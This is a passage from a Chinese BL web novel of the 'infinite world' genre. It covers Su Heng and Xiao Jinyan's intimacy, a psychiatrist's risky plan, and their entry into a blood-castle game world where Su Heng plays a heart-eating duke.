肖靳言脱掉外套,露出里面黑色的紧身T恤,冲宿珩扬了扬下巴。 宿珩没说话,只是沉默地,将自己的外套也脱了下来。 胸口那股从见到韩牧川起,就一直堵着的,混杂着愤怒,心疼与憋闷的复杂情绪,需要一个出口。 格斗,是最好的方式。 拳风呼啸,肌肉碰撞。 这是一场没有任何技巧可言的,纯粹的力量与速度的宣泄。 两个人都没留手,将积压了一晚上的情绪,尽数发泄在对方身上。 不知过了多久,当两个人都筋疲力尽,浑身是汗地躺在八角笼冰凉的垫子上时,宿珩才感觉,胸口那块沉甸甸的石头,终于被搬开了一些。 他大口大口地喘着气,汗水顺着额角滑落,浸湿了鬓角。 身旁的肖靳言,情况也没好到哪里去,胸膛剧烈地起伏着。 休息了片刻,宿珩先坐了起来。 他看着依旧躺在地上一动不动的肖靳言,那张总是带着几分玩世不恭的英俊侧脸,此刻在灯光下,竟透出几分罕见的疲态。 鬼使神差地。 宿珩动了。 他翻身,跨坐在了肖靳言那紧实得没有一丝赘肉的腰腹上。 这个动作,让他自己都愣了一下。 肖靳言瞬间睁开了眼。 他看着居高临下,跨坐在自己身上,神情却依旧清冷的宿珩,被汗水打湿的黑发软软地贴在额前,一双眼睛在灯下亮得惊人。 他忍不住低笑出声,挑了挑眉。 “怎么?打输了不服气,想用别的招?” 宿珩没有理会他的调侃。 他只是俯下身,双手撑在肖靳言的耳侧,一错不错地看着那双黑沉的眼睛。 “以后有事。” 他的声音,因为刚才的剧烈运动,还带着一丝不易察觉的沙哑。 “要跟我说,知道吗?” 那双清冷的眸子里,带着一种不容拒绝的认真。 肖靳言脸上的笑意,慢慢收敛了。 他看着宿珩那双执拗的,写满了“你必须答应我”的眼睛,心脏的位置,忽然软得一塌糊涂。 他抬起手,用指腹,轻轻抹掉了宿珩脸颊上的一滴汗珠。 “知道了。” 他的声音很轻,却带着一种郑重的承诺。 得到想要的答案,宿珩心头一松。 随之而来的,是后知后觉的尴尬。 他意识到自己此刻的姿势,有多么的暧昧和出格。 就在他准备手脚并用地,从肖靳言身上爬下来的时候。 他忽然感觉,自己尾椎骨的位置,被一个坚硬滚烫的东西,清晰地,抵住了。 宿珩的身体,瞬间僵住。 一股热气,从脚底板,猛地窜上了天灵盖。 他的脸,以肉眼可见的速度,迅速爆红。 他想立刻逃离这个是非之地,可已经晚了。 一只滚烫的大手,闪电般地,扣住了他劲瘦的腰,猛地向下一按。 “嗯……” 宿珩没能压住喉咙里那声闷哼,整个人都被一股不容抗拒的力道,死死地,拽进了那个坚实而滚烫的怀抱里。 …… 第二天,宿珩是在一阵酸痛中醒来的。 阳光透过窗帘的缝隙,在深色的地毯上投下一道刺眼的光带。 他动了一下,感觉自己的腰像是被拆开重组过一遍,每一寸骨头缝里都塞满了酸软的棉花。 身边的人还在沉睡,呼吸平稳而深沉。 那张英俊的脸上,褪去了所有疲惫与阴郁,只剩下一片餍足后的安宁。 宿珩磨了磨后槽牙,恨不得在那张睡脸上啃一口。 他完全没想到,那个男人在这方面的体力,竟然也强悍到完全不讲道理。 从八角笼里出来,几乎是折腾了半个晚上。 宿珩撑着床垫,挣扎着想坐起来,两条腿刚沾地,就是一阵发软,差点直接跪下去。 就在这时。 他的手腕被身后伸出的一条手臂猛地抓住。 整个人不受控制地,重新跌回了那个温热的怀抱。 肖靳言不知什么时候醒了,眼睛还没完全睁开,下巴上冒出头的青色胡茬,就在宿珩白皙的脖颈间,有些粗糙地蹭了蹭。 “再来一次?” 他刚睡醒的声音,沙哑得不像话,温热的气息尽数喷在宿珩敏感的耳廓上。 宿珩的脸腾地一下就烧了起来。 他手脚并用地挣脱开那个怀抱,硬撑着发颤的双腿,几乎是跑着冲进了卫生间。 身后传来肖靳言毫不掩饰的,低沉的笑声。 哗啦啦的水声,都盖不住那阵得意的笑。 …… 直到下午,那辆黑色的越野车才再次停在了疗养中心的门口。 肖靳言领着宿珩,走进了正中那栋十二层高的大楼。 电梯平稳上升,一路抵达顶楼。 肖靳言停在一间挂着“心理诊疗室”牌子的房门前,抬手,叩响了房门。 “请进。” 一个温和儒雅的男声从里面传了出来。 肖靳言推门而入。 房间里,一个穿着白大褂,戴着金丝边眼镜的中年男人,正坐在办公桌后。 岑医生抬起头,目光越过肖靳言,落在他身后的宿珩身上时,眼睛里闪过一丝怔忪。 眼前的男生,比他从资料里看到的,还要清瘦漂亮几分。 皮肤是那种不见光的冷白,浑身上下都透着一股干净又疏离的气质。 可当岑医生的视线,顺着那道修长的脖颈向下瞥去时。 他看见了。 在男生那件宽松的纯棉T恤领口之下,锁骨最深处的凹陷里,若隐若现地,烙着几点刺眼的,暧昧的红色印记。 像雪地里绽开的红梅,昭示着一场怎样激烈的风暴。 岑医生瞬间什么都明白了。 他抬起眼,看向肖靳言,那道目光里,充满了幽怨与谴责。 肖靳言被他看得有些不自在,摸了摸鼻子,干咳了一声。 岑医生并未多问什么,而是邀请两人在他对面坐下,直接步入正题。 这场谈话,持续了整整一个下午。 起初,是岑医生在问,宿珩在答。 从他的成长环境,到他特殊体质的猜测,再到他每一次进入心门的感受和身体的反应。 宿珩回答得很平静,没有丝毫隐瞒。 既然决定要和肖靳言一起面对,他便不会再有任何保留。 肖靳言全程坐在旁边,一言不发,脸色却随着宿珩的叙述,一点一点地,沉了下去。 后来,谈话的主角,变成了岑医生和肖靳言。 岑医生对肖靳言的情况,进行了更深层次的剖析。 那些被肖靳言刻意掩盖的,在心门里挣扎的细节,在岑医生的引导下,被一层层地剥开,暴露在空气里,也暴露在宿珩的面前。 夕阳西下,当最后一缕余晖从窗外消失时,岑医生才终于合上了自己面前的笔记本。 他靠在椅背上,捏了捏眉心,脸上是前所未有的凝重。 “我有个很大胆,甚至可以说是疯狂的想法。” 岑医生看着肖靳言,一字一句地说。 “与其一直用药物强行压制,不如……试着把它释放出来。” 这句话,让办公室里的空气,瞬间凝固了。 肖靳言几乎是立刻就明白了他在说什么。 “不行!” 他想也不想,当即摇头,语气里是斩钉截铁的拒绝。 那个东西有多危险,他比任何人都清楚。 释放出来? 那和打开潘多拉的魔盒,没有任何区别。 他绝不允许。 “我不同意。”肖靳言的声音冷得像冰,“这件事没得商量。” 他正准备再说些什么,手腕却被一只微凉的手,用力抓住了。 肖靳言愕然地转过头,对上了宿珩那双清澈又固执的眼睛。 “让他说下去。” 宿珩抓着他的手腕,没有松开。 岑医生推了推眼镜,继续说道:“当然不是毫无准备的释放。” “我们需要一个绝对可控的环境,一个精神力足够强大的‘锚点’,在你的精神世界里,为你构建一道最后的防线。” “一旦你的意识出现被污染的迹象,‘锚点’会立刻将你强行拉回来。” “这个‘锚点’……” 岑医生看向宿珩,“没有比他……更合适的人选了。” 肖靳言的心,狠狠地沉了下去。 让宿珩进入他那片充满了绝望与疯狂的精神世界? 去直面那个连他自己都感到恐惧的,崩塌的世界? 开什么玩笑。 “我说了,不行。” 肖靳言猛地甩开宿珩的手,从椅子上霍然站起,高大挺拔的身影在房间里投下极具压迫感的阴影。 他死死地盯着岑医生,每一个字都像是从牙缝里,带着血腥味挤出来的。 “他的精神力再强,也只是个从未接触过无限世界的普通人!” “你让他去面对一整个世界的恶意和绝望?” “岑医生,你想让他死吗?!” 最后那句话,几乎是低吼出来的,带着压抑不住的暴怒与惊惶。 宿珩也跟着站了起来。 他没有理会暴怒的肖靳言,只是看着岑医生,平静地问:“有风险吗?” “有。” 岑医生毫不避讳。 “理论上,你的精神特质是完美的防火墙,成功率很高。但那是肖靳言的精神世界,是独一无二的SSS级心门,任何理论在它面前,都可能失效。任何意外,都有可能发生。” “最坏的结果……” 岑医生顿了顿,声音愈发沉重,“你们两个的意识,都可能被那片绝望彻底吞噬,永远被困在里面。” “我同意。” 宿珩几乎是在岑医生话音落下的瞬间,便给出了自己的答案。 肖靳言难以置信地看着他。 “宿珩,你疯了?” “我没疯。” 宿珩转过脸,迎上肖靳言那双盛满了怒火与震惊的眼睛,神情平静得可怕。 “肖靳言,这是你的问题,也是我的问题。” 那双清冷的眸子里,倒映着肖靳言失控的模样,却坚定得没有一丝一毫的动摇。 “我不想再看到你一个人,靠着那些乱七八糟的药撑着。” “你的门,我陪你一起守。” 第97章 第 9森*晚*整*理7 章 世界的悲鸣4 等待的三天, 漫长得像一个世纪。 空气里弥漫着一种暴风雨来临前的,凝滞的平静。 肖靳言整个人都透着一股肉眼可见的焦躁。 在宿珩的强烈要求下,他戒了烟, 却总是不自觉地去摸口袋里那个空了的烟盒,指尖在空无一物的盒子上反复摩挲,然后又烦躁地放下。 他不再像从前那样, 有事没事就用言语去招惹宿珩。 大多数时候,他只是安静地待在宿珩能看见的地方,或是在训练室里, 发泄般地将沙袋打得砰砰作响。 宿珩反倒成了更沉稳的那一个。 他照常作息, 看书, 甚至还抽空,将肖靳言那个乱得像狗窝一样的房间, 彻底收拾了一遍。 他越是平静,肖靳言心里那根弦,就绷得越紧。 第三天黄昏。 岑医生的电话打了过来。 黑色越野车在寂静的郊外公路上,平稳地行驶着。 窗外, 是大片大片荒芜的田野和废弃的厂房, 天边的云被夕阳烧成了残破的暗红色, 有一种末日降临般的苍凉。 车最终拐进一条戒备森严的岔路。 路的尽头, 是一座伪装成小山的,巨大的混凝土建筑。 这里曾是战争时期遗留下来的, 一座深埋于地下的防空洞。 如今,成了办事处最隐秘, 也最牢固的隔离设施。 岑医生早已等在了入口处。 他脱下了白大褂,只穿着一件简单的衬衫,脸上不见了平日里的儒雅, 只剩下一种如临大敌的凝重。 “所有的物理隔绝和精神屏障都已经启动到了最高级别。” 他的声音在空旷的入口处,带着回音。 “一旦里面的精神污染指数超过临界值,整个防空洞都会被永久性物理封锁,从内部彻底引爆。” 他看着眼前的两个年轻人,郑重其事地,做着最后的告诫。 “现在反悔,还来得及。” 宿珩没让他把话说完。 “我们已经决定好了。” 少年的声音清清冷冷,却带着一种不容撼动的分量,直接截断了岑医生所有后续的劝说。 岑医生的话头,就这么梗在了喉咙里。 他有些无奈地,转头看向宿珩身后那个高大的男人。 肖靳言全程一言不发,只是垂着眼,盯着宿珩清瘦的后颈,那副样子,乖巧得简直不像他本人。 岑医生忽然气笑了,他摇了摇头,骂了一句。 “真是个耙耳朵。” 肖靳言听见了,只是抬了抬眼皮,没什么反应,算是默认了。 岑医生脸上的那点笑意很快敛去,他深吸了一口气,表情重新变得严肃。 “期待你们,平安归来。” 肖靳言终于抬起头,对他郑重地点了点,然后率先转身,朝着那扇厚重得如同城墙的,冰冷的金属大门走去。 大门在他们身后,缓缓关闭。 “轰隆——” 沉闷的巨响,隔绝了外面世界最后的光。 防空洞内部,空旷得可怕。 只有一排排冰冷的应急灯,在长长的,望不到尽头的甬道两侧,投下惨白的光。 但这里并非空无一物。 甬道的墙壁上,镶嵌着无数面巨大的镜子,一人多高,擦得锃亮。 一走进去,便仿佛坠入了一个由无数镜像构成的迷宫。 成千上万个宿珩,和成千上万个肖靳言,从四面八方,沉默地注视着他们。 肖靳言的脚步,在踏入这片镜子迷宫的瞬间,就变得有些沉重。 他能感觉到,心脏的位置,那扇被他强行压制了许久的门,正在兴奋地,一下一下,撞击着他的胸腔。 镜子里,他的倒影,开始变得陌生。 左边镜子里的那个他,嘴角挂着残忍的,嗜血的笑。 右边镜子里的那个他,双眼空洞,脸上挂着两行停不下来的血泪。 前面镜子里的那个他,蜷缩在地上,像个被全世界抛弃的孩子,绝望地哭泣。 每一面镜子,都映照着一种极致的,属于那个崩塌世界的负面情绪。 心脏的撞击,愈发猛烈。 一股暴虐的,想要毁灭眼前一切的冲动,开始在他的四肢百骸里,疯狂叫嚣。 一只微凉的手,忽然伸了过来,紧紧握住了他。 那点冰凉的触感,像一道细微的电流,瞬间穿透了那层翻涌的狂躁,让他混乱的意识,有了一瞬间的清明。 肖靳言猛地转过头,看向宿珩。 “准备好了吗?” 他的声音,沙哑得厉害。 宿珩没有被那些诡异的镜像影响分毫。 他只是回握住肖靳言那只汗湿的手,清澈的眼瞳里,清晰地,只倒映着肖靳言一个人的身影。 “放心吧。” 宿珩开口。 “我一定会把你带回来。” 就在他这句话落下的瞬间。 防空洞里所有的镜子,都发生了诡异的变化。 那些形态各异的肖靳言的倒影,在一瞬间,全都消失了。 取而代之的,是一个个完全陌生的,穿着各式各样衣服的男男女女,老人小孩。 他们全都面无表情,用一种死人般的,空洞的眼神,直勾勾地,透过镜面,盯着外面的宿珩和肖靳言。 仿佛镜子的那边,是另一个世界。 而他们,是那个世界里,所有死去的魂灵。 不止有无限世界原住民,还有那些死去的玩家。 下一瞬。 “呃……” 肖靳言发出一声压抑的痛哼,猛地弯下腰,另一只手死死地捂住了自己的心口。 一股远比宿珩之前感受过的任何一次心门,都要庞大,都要暴虐,都要纯粹的绝望,轰然爆发。 那不再是溪流,也不是风暴。 而是一整个世界,在崩塌殆尽的那一刻,所发出的,最终的,充满了不甘与怨毒的悲鸣。 这股力量,绕开了宿珩那层坚不可摧的精神屏障。 直接裹挟住了他的身体,他的意识,试图将他整个人,都拖进那片无边无际的,黑暗的深渊里去。 宿珩的意识,在被彻底吞噬的前一秒。 他看见。 肖靳言背后那面巨大的镜子里。 那个死寂的,挤满了无数魂灵的世界里。 一个高大的,穿着黑色风衣的,阴冷的男人身影。 正缓缓地,一步一步,从那片黑暗中,走了出来。 …… 意识回笼的瞬间。 一股浓郁到近乎实质的,腐朽的冷香,蛮横地灌满了宿珩的鼻腔。 他发现自己正躺在一张床上。 一张触感冰冷,铺着暗红色天鹅绒的,巨大而华丽的复古大床。 四周很暗,厚重的窗帘隔绝了所有的光。 只有床头一盏小小的,散发着昏黄光晕的烛台灯,勉强照亮了房间的一角。 这里不是那个布满了镜子的,冰冷的防空洞。 宿珩猛地坐起身,警惕地环顾四周。 这是一个完全陌生的地方,风格像是他只在电影里见过的,欧洲中世纪的古堡。 深色的木质墙壁上,挂着几幅褪色严重的油画,画中人神情麻木,眼珠却仿佛在阴影里无声地转动,窥伺着这个外来者。 房间的角落里,立着一副空洞的骑士盔甲,上面布满了斑驳的锈迹,像一具沉默的尸骸。 不远处的衣架上,则挂着一套做工极其繁复的,带着层层叠叠蕾丝花边的白色绅士礼服。 这里是肖靳言的心门。 是他那颗心脏里,封印着的,属于无限世界的……一角残骸。 就在这时。 楼下忽然传来一阵嘈杂的争吵声,穿透厚重的木地板,隐隐约约地传了上来。 宿珩立刻下了床。 他赤脚踩在冰凉的地板上,快步走到衣架前,没有丝毫犹豫地,将那套看起来就无比累赘的绅士服穿在了身上。 衣服出奇地贴合。 仿佛本就是为他量身定做。 当最后一颗珍珠纽扣被一丝不苟地扣上,宿珩抬眼,看向了墙上那面穿衣镜。 镜子里,映出了一张他自己都感到陌生的脸。 一个脸色苍白如雪,气质矜贵又疏离的年轻贵族,正沉默地,用一双幽深的眼眸回望着他。 宿珩对着镜子,刚整理好衣领那圈僵硬的蕾丝花边,房门就被人从外面,小心翼翼地推开了一条缝。 一个穿着黑白女仆装,看起来只有十五六岁的女孩,探进了半个脑袋,脸上满是惊恐与不安。 当她看到已经穿戴整齐的宿珩时,那双蓝色的眼睛里,瞬间迸发出了惊喜。 “公爵大人!您醒啦!” 女孩提着裙摆,快步跑到他面前,声音都在发抖。 “您昨晚好心邀请进古堡避雨的那些客人们……他们……他们吵起来了,我,我不知道该怎么办。” 公爵大人。 宿珩在心里咀嚼着这个称呼,很快便代入了角色。 他看了一眼那个快要哭出来的女仆,只是淡淡地颔首。 “我知道了。” 他越过女仆,推开房门。 门外的长廊幽暗而深邃,墙壁上挂着一排神情诡异的,属于历代主人的肖像画。 他们的眼睛,仿佛都随着他的脚步,在阴影里无声地转动。 女仆提着灯,亦步亦趋地跟在他身后,引领着他走向楼梯。 宿珩站在二楼那道巨大的,盘旋而下的木质楼梯顶端,垂眼看向灯火通明的一楼大厅。 大厅里,两拨人正剑拔弩张地对峙着,吵得面红耳赤。 大概七八个人,男男女女,全都穿着现代的服饰,与这座古堡的风格显得格格不入。 而在那群歇斯底里的人群旁边。 有一个人,并没有参与这场毫无意义的争吵。 他大大咧咧地,一屁股坐在旁边那架看起来就价值不菲的古董钢琴上,两条修长的腿随意地交叠着,姿态嚣张又散漫。 那双骨节分明,极其好看的手指,正在黑白琴键上,百无聊赖地胡乱按着。 一连串不成调的,刺耳又突兀的音符,就这样毫无章法地,在整个大厅里回荡。 那是个看起来只有二十出头的年轻人。 他穿着一身与这个古堡格格不入的黑色冲锋衣,身形挺拔,侧脸的线条英俊而硬朗,充满了未经打磨的,极具攻击性的野性。 宿珩的呼吸,在那一瞬间,停滞了。 那张脸,要更年轻,更张扬,也更锋利。 但宿珩还是一眼就认了出来。 那是肖靳言。 是几年前,还被困在无限世界里的……玩家肖靳言。 似乎是察觉到了楼上的视线,那个年轻版的肖靳言,有些不耐烦地停下了手上的动作,抬起了头。 他的目光,精准地,落在了宿珩的身上。 当看清宿珩那张在昏暗灯光下,显得过分清隽漂亮的脸时,他明显呆愣了一瞬。 那双总是带着几分不羁的黑沉眼眸里,有什么极其隐晦的东西,飞快地闪了一下,快到让人无法捕捉。 但他很快就挪开了视线,仿佛刚才那一瞬间的失神,只是错觉。 很显然。 现在的他,并不认识宿珩。 “行了,都他妈别吵了。” 年轻的肖靳言从钢琴上跳了下来,双手插在口袋里,冲着还在争执不休的众人,不耐烦地扬了扬下巴。 “正主来了。” 大厅里的喧嚣,戛然而止。 所有人都抬起头,看向了楼梯上方那个沉默的,如同从油画里走出来的,神秘的古堡主人。 在所有人的注视下,肖靳言扯了扯嘴角,露出一抹痞气的,堪称挑衅的笑。 “既然你们一个个都这么怕死,谁都不愿意去侍寝。” 他顿了顿,目光再次落回到宿珩的脸上,那眼神里带着毫不掩饰的,极具侵略性的打量。 “那我就勉为其难,牺牲一下好了。” “侍寝”两个字,像一把钥匙。 在这句话落下的瞬间,一股冰冷的,不属于他的信息流,猛地涌入了宿珩的脑海。 【欢迎来到“血色古堡”】 【您的身份:古堡主人,阿诺斯公爵】 【您的任务:尽情享用您的晚餐】 【规则一:您是这栋古堡里,唯一的猎人,所有误入的旅客,都是您的食物】 【规则二:您只在“侍寝”时进食,在您的客人情意最浓时,享用那颗温热的,跳动的心脏,会更加美味】 【规则三:被选中的“侍寝者”,无法拒绝您的邀请】 【祝您,用餐愉快】 宿珩的脸色,一寸寸地,沉了下去。 他终于明白。 楼下那群人争吵的,究竟是什么。 他们在争论,谁会成为第一个,被他这位“公爵大人”邀请上床,然后残忍“吃掉”的倒霉蛋。 而现在。 这个甚至还不认识他的,年轻气盛的肖靳言。 正站在他的狩猎场里,主动地,将自己送上了餐盘。 宿珩看着他,看着他那副浑然不觉,甚至还带着几分“老子天下第一”的嚣张模样,忽然很想揍他一顿。 他缓缓抬起手。 那只戴着白色蕾丝手套的,属于“阿诺斯公爵”的手,在空中,轻轻地,冲着楼下的肖靳言,勾了勾手指。 一道优雅又冰冷的声音,从他的唇边,逸了出来。 “那就你吧。” “晚饭过后,来我房间。” …… 第98章 第 98 章 世界的悲鸣5 宿珩话音刚落—— 前一秒还在为谁去“侍寝”而争得面红耳赤的众人, 此刻脸上的表情可谓精彩纷呈。 有几人明显松了口气,那是一种劫后余生的庆幸,看向肖靳言的眼神里甚至带上了一丝感激。 另一些人则纯粹是幸灾乐祸, 交头接耳地窃窃私语,准备看一出好戏。 还有一个胆子稍小的女孩,已经吓白了脸, 望向肖靳言的目光充满了同情与恐惧。 而被所有人视线聚焦的当事人,那个年轻气盛的肖靳言,却完全没有身为“祭品”的自觉。 他非但没有半分惊慌, 反而迎着楼上宿珩那冰冷的目光, 懒洋洋地扯了扯嘴角。 随即, 他竟真的往前一步,微微躬身, 将右手优雅地按在了左胸前,对着楼梯上方的“公爵大人”,行了一个无可挑剔的绅士礼。 “乐意至极。” 他声音不大,却清晰地传遍了整个大厅, 那语气里的散漫与挑衅, 几乎要溢出来。 宿珩站在二楼, 面无表情地看着他这番作秀。 心脏的位置, 那股熟悉的,想揍人的冲动又开始蠢蠢欲动。 他懒得再跟这个不知死活的家伙多费口舌, 只是冷淡地移开视线,转向身后那个战战兢兢的女仆。 “开饭吧。” “好的大人, 我这就去安排!” 女仆提起裙摆,迅速跑下楼梯。 她来到那群各怀心思的旅客面前,勉强挤出一个僵硬的微笑。 “各位尊贵的客人, 晚餐已经备好,请随我来。” 一群人顿时乌泱泱地跟了过去,仿佛去餐厅吃饭,就能暂时逃离这位喜怒无常的古堡主人。 肖靳言落在了队伍的最后面。 在转身跟上大部队之前,他最后瞥了一眼楼上的宿珩,单边眉毛高高挑起。 宿珩在心里对他翻了个大大的白眼。 等所有人离开后,他迈着不紧不慢的步伐,顺着那道巨大的旋转楼梯,一步步走了下去。 餐厅里。 一张足以容纳二十人的巨大长桌早已布置妥当。 桌面上铺着暗红色的天鹅绒桌布,上面摆着数个闪着银光的烛台,摇曳的烛火将整个空间映照得温暖而诡异。 每一位客人的餐位前,都摆放着一枝刚刚采摘的,还带着晶莹露珠的深红色玫瑰。 那群旅客已经按照男女分开的顺序,在长桌两侧坐定,一个个正襟危坐,连呼吸都放轻了。 宿珩径直走到长桌尽头的主位,拉开那张椅背最高,雕花最繁复的椅子,坐了下去。 他姿态优雅,仿佛天生就该坐在这里。 他伸出手,轻轻按下面前的银质餐铃。 “叮——” 清脆的铃声在寂静的餐厅里回荡,余音还未散尽,餐厅侧面一扇不起眼的小门便被推开了。 女仆领着一个推着餐车的“人”,走了进来。 那是个身材臃肿到畸形的厨师,他穿着一身还算干净的白色厨师服,但那颗脑袋却完全不似人类。 他的五官挤在一起,皮肤呈现出一种不健康的灰败色,走起路来一摇一晃,像一团巨大的,随时会融化掉的脂肪。 餐车上盖着锃亮的银质餐盖,即便隔着不短的距离,一股浓郁的血腥气还是无法阻挡地,飘散开来,钻进每一个人的鼻腔。 宿珩自然也闻到了。 他眼皮都没抬一下,只是靠在椅背上,用一种审视的目光,看着那个畸形的厨师将餐车推到桌边。 “给客人们分餐。” 他的声音不大,却透着一股不容置喙的威严。 “是,大人。” 女仆恭敬地应了一声,接过厨师手里的餐盘,开始将里面的“菜品”,一一分发到玩家们的面前。 第一个银质餐盖被揭开。 离得最近的一个年轻男人顿时浑身一抖。 餐盘里,是一块巴掌大小,边缘还带着血丝,看起来只有一两分熟的肉块。 肉块的旁边,则是一只盛满了鲜红色液体的高脚杯。 那个年轻男人的脸色瞬间变得惨白。 紧接着,第二个,第三个…… 当同样的餐盘摆在每一个玩家面前时,餐厅里的气氛已经压抑到了极点。 最沉不住气的,是坐在肖靳言对面的一个女孩,她只看了一眼那块还在往外渗血水的肉,胃里便一阵翻江倒海,捂着嘴发出一声清晰的干呕。 最后一份餐,被女仆用戴着白手套的双手,恭恭敬敬地,端到了宿珩的面前。 作为这座古堡的“主人”,宿珩很清楚—— 这些看起来吓人的东西,虽然半生不熟,但确实只是普通的牛肉和红酒。 这不过是副本开场的一个下马威,一种最低级的,用来筛选胆小鬼的心理战术。 宿珩正襟危坐,并没有动。 他只是抬起眼,将所有玩家的反应尽收眼底。 他想起了在防空洞里,那些镜子中映出的,无数张麻木而死寂的脸。 那些在无限世界里挣扎,最终却被吞噬的灵魂。 心门让他在这里扮演一个猎杀玩家的BOSS。 但真正的任务,或许并非猎杀。 而是给这群同样被困在这里的玩家们,一个挣脱出去的机会。 另一种意义上的救赎。 就在宿珩思索的片刻,一道不合时宜的声音,打破了这片令人窒息的死寂。 “滋啦——” 是银质的刀叉,划过瓷盘发出的刺耳声响。 所有人都不约而同地,朝着声音的源头看去。 只见肖靳言,正用银叉慢条斯理地挑起那块血淋淋的生肉,先是拿到鼻尖下,像品鉴什么高级食材一样,轻轻嗅了嗅。 然后。 在所有人惊恐的注视下,他面不改色地,将那块肉送进了嘴里。 他咀嚼得很慢,甚至还微微眯起了眼,一副正在享受美食的模样。 “唔……” 肖靳言咽下那口肉,用餐巾擦了擦嘴角,然后抬起头,给出了自己的评价。 “五分熟,味道不错。” 他这一连串的操作,直接把坐在他身边的几个玩家看傻了。 他们像是见了鬼一样,下意识地往旁边挪了挪,仿佛身边坐着的不是同类,而是一个比古堡主人还要恐怖的疯子。 “你……你就不怕这是人肉啊?” 一个男生终于没忍住,压低了声音,用一种看怪物的眼神看着他。 肖靳言连一个眼神都懒得给他。 他拿起面前那杯鲜红的“血酒”,轻轻晃了晃,然后挑起眉,隔着长长的餐桌,对主位上的宿珩,遥遥举杯。 “多谢款待。” 听到这话。 所有人的目光,都下意识地,死死钉在了主位上那位古堡主人的脸上。 他们迫切地想从那张苍白俊美的脸上,看出哪怕一丝一毫的情绪波动,来判断这个胆大包天的男人接下来的命运。 可宿珩只是安静地靠在那张雕花繁复的巨大椅背上。 他的面容半隐在烛火摇曳的阴影里,轮廓模糊,神情晦暗,看不真切。 只有宿珩自己知道。 在听到那句熟悉的,欠揍的调侃时—— 他心里那股,从见到年轻版的放浪不羁的肖靳言起,就憋着的火,非但没被点燃,反倒像是被针戳破的气球,悄无声息地,漏了气。 意料之外,又在情理之中。 这家伙,无论是在哪个时空,都是这副德行。 宿珩的嘴角,不受控制地,向上勾起了一抹极其细微的弧度。 那笑意很淡,比烛火投在墙上的影子还要轻,几乎刚一出现,就消失得无影无踪。 可这稍纵即逝的变化,还是被一个角落里始终保持警惕的男人敏锐地捕捉到了。 “他笑了。” 男人压低声音,用手肘碰了碰身边吓得脸色发白的同伴。 “那个公爵……他刚才笑了。” “笑?你眼花了吧?” 同伴的声音都在发抖,“这种怪物怎么会笑?肯定是你看错了!” “他……他这一定是在琢磨怎么用最残忍的方式,折磨死那个不知死活的家伙!” “不,我绝对没看错。” 男人笃定地说,眼神里充满了凝重。 “那是一种……猫捉住老鼠后,不急着吃掉,反而要尽情玩弄一番的笑。这个副本,恐怕比我们想象的还要棘手啊……” 他们的窃窃私语,宿珩听得一清二楚,却懒得理会。 他慢条斯理地,端起了面前那杯盛着“鲜血”的酒杯。 暗红色的液体在杯中轻轻晃荡,映出他那双幽深不见底的眼眸。 他抬眼,视线越过长长的餐桌,与肖靳言那双带着探究与挑衅的目光,在空中遥遥相撞。 随即,宿珩微微颔首,将酒杯举至唇边,隔空与他碰了一下,然后仰头,将杯中那带着铁锈味的液体,一饮而尽。 做完这一切,他用餐巾优雅地擦了擦嘴角,没有再看任何人一眼,直接从座位上站了起来,转身离去。 他挺拔清瘦的背影,很快便消失在了餐厅侧面的阴影里,只留下一室压抑的沉默,和一群面面相觑,不知所措的“晚餐”。 宿珩的离开,像一个信号。 餐厅里那股紧绷到极致的氛围,非但没有松懈,反而变得更加诡异。 那位臃肿畸形的厨师,不知何时又推着餐车,悄无声息地出现在了门口,一双挤在肥肉里的眼睛,贪婪地扫过在座的每一位客人。 就在这时,那个一直跟在宿珩身边的黑白女仆装女孩,迈着小碎步,重新走回了餐厅。 她径直走到了肖靳言的身边。 前一秒还挂在脸上的那种属于少女的惊恐与不安,此刻已经消失得一干二净。 取而代之的,是一种人偶般的,不带任何感情的僵硬。 她的声音,也变得阴冷而刻板,像是从古老的留声机里播放出来的。 “这位客人。” 女仆微微躬身,但那双蓝色的眼睛却直勾勾地盯着肖靳言,里面空洞得像两颗漂亮的玻璃珠。 “晚餐过后,请您去浴室沐浴更衣。” “请务必将自己清洗干净。” “不要让公爵大人,等得太久。” 这番话,每一个字都透着不祥。 尤其是最后一句,那冰冷的语调,简直像是死神的催命符。 餐厅里的温度,仿佛降了几度。 几个胆小的玩家,已经开始控制不住地发抖,看向肖靳言的眼神,充满了怜悯,仿佛在看一个即将被送上祭台的牺牲品。 然而,作为“牺牲品”本人,肖靳言的脸上,却看不到半分恐惧。 他甚至还抽出空,用餐叉慢条斯理地又切了一小块肉,送进嘴里,细细品味了一番。 等吃完了餐盘里的食物,肖靳言才懒洋洋地抬起头,看向面前的女仆。 他笑了笑,露出一口白牙,那笑容里带着几分野性的不羁。 “好的。” 他答应得干脆利落,甚至还冲着女仆眨了眨眼,语气轻佻得仿佛不是去送死,而是去赴一场期待已久的艳遇。 “麻烦你转告公爵大人。” “我今晚,一定会让他……非常满意。” 这话一出,满座皆惊。 所有人都像看疯子一样看着他。 这家伙是真不怕死,还是脑子有什么问题? 都这种时候了,竟然还敢主动去挑衅那个喜怒无常的古堡主人? 那个之前提醒同伴的男人,更是倒吸一口凉气,看肖靳言的眼神,已经从看一个勇士,变成了看一个彻头彻尾的疯子。 一个坐在肖靳言不远处的,看起来颇有几分江湖气的男人,在最初的震惊过后,反倒笑了起来。 他摇着头,冲肖靳言竖了个大拇指,半是调侃半是佩服地感慨了一句。 “兄弟,有种!” “牡丹花下死,做鬼也风流啊!” 肖靳言闻言,也跟着笑了起来,他将最后一口“血酒”饮尽,用餐巾擦了擦嘴,然后站起身。 “嗐……谁说不是呢?” 他丢下这句话,便在女仆的引领下,头也不回地,走出了餐厅。 …… 另一边。 宿珩顺着那道巨大的旋转楼梯,一步步走回了二楼。 幽暗的长廊里,墙壁上那些肖像画的眼睛,依旧在阴影里无声地转动着。 仿佛在用一种永恒的,死寂的目光,审视着他这位新上任的“主人”。 宿珩没有回自己的房间,而是停在了长廊尽头的一扇小门前。 他推开门。 门后,是一个巨大的,几乎占据了半个楼层的书房。 高耸的书架直抵天花板,上面密密麻麻地塞满了各种厚重的精装古籍。 空气里弥漫着一股纸张与灰尘混合的,古老而沉闷的气息。 宿珩走到一张巨大的书桌后,拉开椅子坐下。 他闭上眼,将意识沉入这片属于肖靳言的心门世界,感受着这里无处不在的,压抑而疯狂的规则。 这里的一切,都围绕着“猎杀”与“被猎杀”展开。 他是唯一的猎人。 而那些被困在这里的玩家,包括肖靳言,都是他的猎物。 【规则二:您只在“侍寝”时进食,在您的客人情意最浓时,享用那颗温热的,跳动的心脏,会更加美味】 那条冰冷的规则,再次浮现在他的脑海里。 情意最浓时…… 